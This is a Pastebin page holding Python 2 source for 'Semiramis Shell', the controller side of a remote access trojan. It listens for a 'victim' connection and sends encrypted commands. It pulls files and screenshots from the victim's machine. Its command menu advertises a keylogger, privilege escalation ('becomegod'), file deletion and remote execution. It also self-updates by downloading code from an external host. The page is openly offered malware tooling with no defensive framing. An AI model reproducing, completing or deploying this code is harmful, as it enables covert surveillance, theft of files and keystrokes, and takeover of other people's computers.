Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #-*- coding: utf-8 -*-
- #========================================--..
- #// Author : Black Python | S.T
- #// Project : Semiramis Shell
- #// Version : 0.0.1
- #========================================--..
- # TO DO LIST
- # - Remote shelldeyken clean komutundan sonra 1 satir calismiyor onu fixle
- # IMPORTS
- import os
- import sys
- import time
- import urllib
- # import signal
- import urllib2
- import datetime
- from libs.serversocketlib import ServerSocket
- from libs.shelllib import msglib
- from libs.cryptolib import encrypt, decrypt
- from time import gmtime, strftime
- # SIGNAL HANDLER
- #.. ! ilk isin!
- # GLOBAL VARIABLES
- VERSION = '0.0.1'
- UPDATER = 'http://www.blackpython.byethost7.com/'
- FILE_NAME = os.path.basename(__file__)
- shell_socket = None
- remote_line = None
- HOST = None
- PORT = None
- TRANSFER_PORT = None
- ASK_PORT = None
- ASK_TRANSFER_PORT = None
- CONFIGURED = False
- BUFF_SIZE = 65535
- PEER_ADDR = None
- def run_reactor():
- global shell_socket
- msglib.header("SEMIRAMIS SHELL")
- msglib.info("HOST --> %s" % HOST)
- msglib.info("PORT --> %d" % PORT)
- msglib.info("TRANSFER PORT --> %d" % TRANSFER_PORT)
- msglib.finish_line()
- msglib.warning("Starting reactor...")
- msglib.success("Reactor started!\n")
- shell_socket = ServerSocket()
- shell_socket.setopt(restartable=True)
- shell_socket.configure(HOST, PORT)
- shell_socket.start(1)
- shell_socket.accept()
- msglib.success("Connection established from %s!" % shell_socket.getPeerAddr())
- remote_commands()
- while True:
- serverCommandLine()
- remote_cmd = remote_line.strip()
- cmd = encrypt(remote_cmd)
- if remote_cmd == "" or remote_cmd.isspace():
- pass
- else:
- try:
- shell_socket.sendData(cmd)
- data = shell_socket.getData(BUFF_SIZE)
- except:
- shell_socket.stop()
- msglib.start_line()
- msglib.error("Remote host closed the connection!")
- msglib.finish_line()
- commandLine()
- else:
- decrypted_data = decrypt(data)
- if not decrypted_data:
- pass
- elif decrypted_data == "downloadrequest":
- download_socket = ServerSocket()
- download_socket.configure(HOST, TRANSFER_PORT)
- download_socket.setopt(restartable=True)
- download_socket.start(1)
- msglib.start_line()
- msglib.success("Download server started!")
- download_socket.accept()
- file_name = decrypt(download_socket.getData())
- msglib.info("File name: %s" % file_name)
- msglib.info("Trying to download the file...")
- start_time = datetime.datetime.now()
- msglib.info("Started downloading process at: %s" % start_time)
- download_socket.getFile(file_name)
- stop_time = datetime.datetime.now()
- download_socket.stop()
- downloading_time = stop_time - start_time
- msglib.info("Finished downloading at: %s" % downloading_time)
- msglib.success("File downloaded!")
- msglib.finish_line()
- elif decrypted_data == "uploadrequest":
- upload_socket = ServerSocket()
- upload_socket.configure(HOST, TRANSFER_PORT)
- upload_socket.setopt(restartable=True)
- upload_socket.start(1)
- msglib.start_line()
- msglib.success("Upload server started!")
- upload_socket.accept()
- msglib.info("Starting to upload file to: %s" % upload_socket.getPeerAddr())
- file_name = decrypt(upload_socket.getData())
- msglib.info("File name: %s" % file_name)
- msglib.info("Trying to upload the file...")
- start_time = datetime.datetime.now()
- upload_socket.sendFile(file_name)
- stop_time = datetime.datetime.now()
- upload_socket.stop()
- downloading_time = stop_time - start_time
- msglib.info("Finished uploading at: %s" % downloading_time)
- msglib.success("File uploaded!")
- msglib.finish_line()
- elif decrypted_data == "commands":
- remote_commands()
- elif decrypted_data == "clean":
- if os.name == 'nt':
- os.system('cls')
- elif os.name == 'posix':
- os.system('clear')
- elif os.name == 'darwin':
- os.system('clear')
- else:
- msglib.warning("Couldn't detect the OS?!")
- serverCommandLine()
- elif decrypted_data == "GOODBYE":
- shell_socket.stop()
- msglib.start_line()
- msglib.success("Closed the session with victim, returning to main command line...")
- msglib.finish_line()
- commandLine()
- elif decrypted_data == "screenshot":
- screenshot_socket = ServerSocket()
- screenshot_socket.configure(HOST, TRANSFER_PORT)
- screenshot_socket.start(1)
- screenshot_socket.accept()
- msglib.start_line()
- msglib.info("Taking the screenshot...")
- current_time = strftime("%Y-%m-%d %H.%M.%S", gmtime())
- screenshot_socket.getFile("screenshot[%s].jpg" % current_time)
- screenshot_socket.stop()
- msglib.success("Screenshot took!")
- msglib.finish_line()
- else:
- data_size = len(decrypted_data)
- msglib.start_line()
- msglib.info("Data received: %s" % data_size)
- msglib.finish_line()
- msglib.write(decrypted_data)
- def check_transferPort():
- global TRANSFER_PORT
- MAX_PORTNUM = 65535
- MIN_PORTNUM = 0
- if ASK_TRANSFER_PORT == "":
- TRANSFER_PORT = 3169
- msglib.success("TRANSFER PORT set to %d" % TRANSFER_PORT)
- elif not ASK_TRANSFER_PORT.isdigit():
- msglib.warning("Please enter a number!")
- ask_transferPort()
- elif int(ASK_TRANSFER_PORT) > MAX_PORTNUM:
- msglib.warning("Your TRANSFER PORT number is too big!")
- ask_transferPort()
- elif int(ASK_TRANSFER_PORT) < MIN_PORTNUM:
- msglib.warning("Your TRANSFER PORT number is too small!")
- ask_transferPort()
- else:
- TRANSFER_PORT = int(ASK_TRANSFER_PORT)
- msglib.success("TRANSFER PORT set to %d" % TRANSFER_PORT)
- def check_port():
- global PORT
- MAX_PORTNUM = 65535
- MIN_PORTNUM = 0
- if ASK_PORT == "":
- PORT = 3162
- msglib.success("PORT set to %d" % PORT)
- elif not ASK_PORT.isdigit():
- msglib.warning("Please enter a number!")
- ask_port()
- elif int(ASK_PORT) > MAX_PORTNUM:
- msglib.warning("Your PORT number is too big!")
- ask_port()
- elif int(ASK_PORT) < MIN_PORTNUM:
- msglib.warning("Your PORT number is too small!")
- ask_port()
- else:
- PORT = int(ASK_PORT)
- msglib.success("PORT set to %d" % PORT)
- def ask_port():
- global ASK_PORT
- ASK_PORT = raw_input(msglib.in_program_input("PORT-->")).strip()
- check_port()
- def ask_transferPort():
- global ASK_TRANSFER_PORT
- ASK_TRANSFER_PORT = raw_input(msglib.in_program_input("TRANSFER PORT-->")).strip()
- check_transferPort()
- def set_configured():
- global CONFIGURED
- CONFIGURED = True
- def start():
- if CONFIGURED == True:
- run_reactor()
- else:
- msglib.error("No configuration settings found!")
- def restart():
- msglib.warning("Restarting...")
- time.sleep(1)
- python = sys.executable
- os.execl(python, python, FILE_NAME)
- def settings():
- global CONFIGURED
- if CONFIGURED == True:
- y_or_no_color = msglib.y_or_no("You had configure that once, want to reconfigure?")
- y_or_no = raw_input(y_or_no_color).upper().strip()
- Y = "Y"
- if y_or_no == Y:
- CONFIGURED = False
- settings()
- else:
- msglib.info("Returning to command line...")
- commandLine()
- else:
- global HOST
- internetChecker = ServerSocket().checkInternet()
- localaddrChecker = ServerSocket().getLocalAddr()
- INTERNET = internetChecker
- msglib.header("GENERAL SETTINGS")
- if INTERNET == False:
- msglib.fail("You are note connected to internet! ~ [TESTMODE:127.0.0.1]")
- HOST = '127.0.0.1'
- msglib.info("HOST set to: %s" % HOST)
- else:
- msglib.success("You are connected to internet! ~ [REALMODE:%s]" % localaddrChecker)
- HOST = localaddrChecker
- msglib.info("HOST set to: %s" % HOST)
- msglib.info("Leave blank for default PORT ~ [3162]")
- msglib.info("Leave blank for default TRANSFER PORT ~ [3169]")
- ask_port()
- ask_transferPort()
- msglib.finish_line()
- set_configured()
- def about():
- msglib.header("About Me")
- msglib.write("Author : Black Python | S.T")
- msglib.write("Project Name : Semiramis Shell")
- msglib.write("Version : %s" % VERSION)
- msglib.write("Special Thanks:")
- msglib.write("// HimitsuNoChikara")
- msglib.write("// Faraba")
- msglib.write("for their help in testing the program...")
- msglib.finish_line()
- def update():
- internetChecker = ServerSocket().checkInternet()
- INTERNET = internetChecker
- if INTERNET == False:
- msglib.error("You are not connected to internet, returning to commandline...")
- commandLine()
- else:
- global VERSION
- msglib.start_line()
- msglib.info("Your current version: %s" % VERSION)
- real_version = urllib2.urlopen(UPDATER).read()
- if VERSION == real_version:
- msglib.success("You are up to date!")
- msglib.finish_line()
- else:
- VERSION = real_version
- msglib.warning("You are not up to date!")
- msglib.info("Downloading and installing the updates...")
- url = (UPDATER + "updates/%s/shell.py" % real_version)
- try:
- urllib.urlretrieve(url, FILE_NAME)
- except:
- msglib.error("Couldn't connect to updater, update failed!")
- msglib.info("Returning to command line...")
- commandLine()
- else:
- msglib.success("Congratulations! You are now up to date!")
- msglib.info("Updated to %s" % VERSION)
- msglib.finish_line()
- msglib.warning("Program must restart itself...")
- time.sleep(1)
- python = sys.executable
- os.execl(python, python, FILE_NAME)
- def version():
- msglib.start_line()
- msglib.info("Version --> %s" % VERSION)
- msglib.finish_line()
- def clean():
- if os.name == 'nt':
- os.system('cls')
- main()
- elif os.name == 'posix':
- os.system('clear')
- main()
- elif os.name == 'darwin':
- os.system('clear')
- main()
- else:
- msglib.warning("Couldn't detect the OS?!")
- def exitme():
- msglib.error("Exiting..!")
- sys.exit(1)
- def helpme():
- msglib.write("""
- ==- Shell Commands -===========================--..
- // help | show help phase
- // exit | exit from program
- // update | updates the program to newer version
- // version | shows the version of the program
- // clean | cleans the shell
- // about | let me tell you something...
- // start | starts the handler
- // restart | restarts the program, deletes all the configures
- // settings | shows settings for handler
- ==============================================--..
- """)
- def remote_commands():
- msglib.write("""
- ==- Remote Commands -===========================--..
- // ipinfo | shows target's ip information [OK]
- // dir | lists files and folders on current directory [OK]
- // updir | selects the upper directory of current directory [OK]
- // opendir | opens a directory on current directory [OK]
- // deletedir | deletes a directory on the current directory
- // deletefile | deletes a file on the current directory
- // createdir | creates a directory on the current directory [OK]
- // createfile | creates a file on the currend directory
- // downloadfile | downloads file from current directory [OK]
- // downloaddir | downloads the whole directory on current directory
- // uploadfile | uploads file from current directory to remote directory
- // uploaddir | uploads the while directory to remote directory
- // sreenshot | takes the screenshot of the system and sends it back to u
- // startlogger | starts the keylogger
- // stoplogger | stops the keylogger and sends the logs to u
- // becomegod | makes u admin of the system, or the SYSTEM
- // execute | executes the specified file and creates a task too
- // tasklist | shows the task list of the system [OK]
- // killtask | kills a task of the system [OK]
- // commands | shows that again... [OK]
- // close | closes session with victim [OK]
- // clean | cleans the screen
- ==============================================--..
- ==- Notes & Known Issiues -===================================--..
- // if u try to download or upload a file like 1 GB, it will gives a memory
- error and closes the session and client! we will fix that a.s.a.p
- // if u see the '[OK]' near the command than u can use it safely without an error
- but the others are underdevelopment
- ==============================================--..
- Total commands: 22
- Completed commands: 10
- Underdevelopment commands: 12
- Have Fun!
- """)
- shell_dict = {
- 'help':helpme,
- 'exit':exitme,
- 'clean':clean,
- 'version':version,
- 'update':update,
- 'about':about,
- 'settings':settings,
- 'restart':restart,
- 'start':start,
- }
- def banner():
- msglib.write(""" ___ _ _
- / __| ___ _ __ (_)_ _ __ _ _ __ (_)___
- \__ \/ -_) ' \| | '_/ _` | ' \| (_-<
- |___/\___|_|_|_|_|_| \__,_|_|_|_|_/__/
- ======================================
- Semiramis Shell | v0.0.1 ~ beta
- """)
- def serverCommandLine():
- global remote_line
- peeraddr = shell_socket.getPeerAddr()
- remote_line = raw_input(msglib.remote_shell("session", "@", peeraddr, "#>"))
- def commandLine():
- while True:
- local_line = raw_input(msglib.shell("semishell", "@>"))
- if local_line == "" or local_line.isspace():
- pass
- else:
- cmd = local_line.strip()
- if shell_dict.has_key(cmd):
- shell_dict[cmd]()
- else:
- msglib.warning("Command not found!: %s" % cmd)
- def main():
- if os.name == 'nt':
- os.system('cls')
- elif os.name == 'posix':
- os.system('clear')
- elif os.name == 'darwin':
- os.system('clear')
- else:
- msglib.warning("Couldn't detect the OS?!")
- banner()
- commandLine()
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement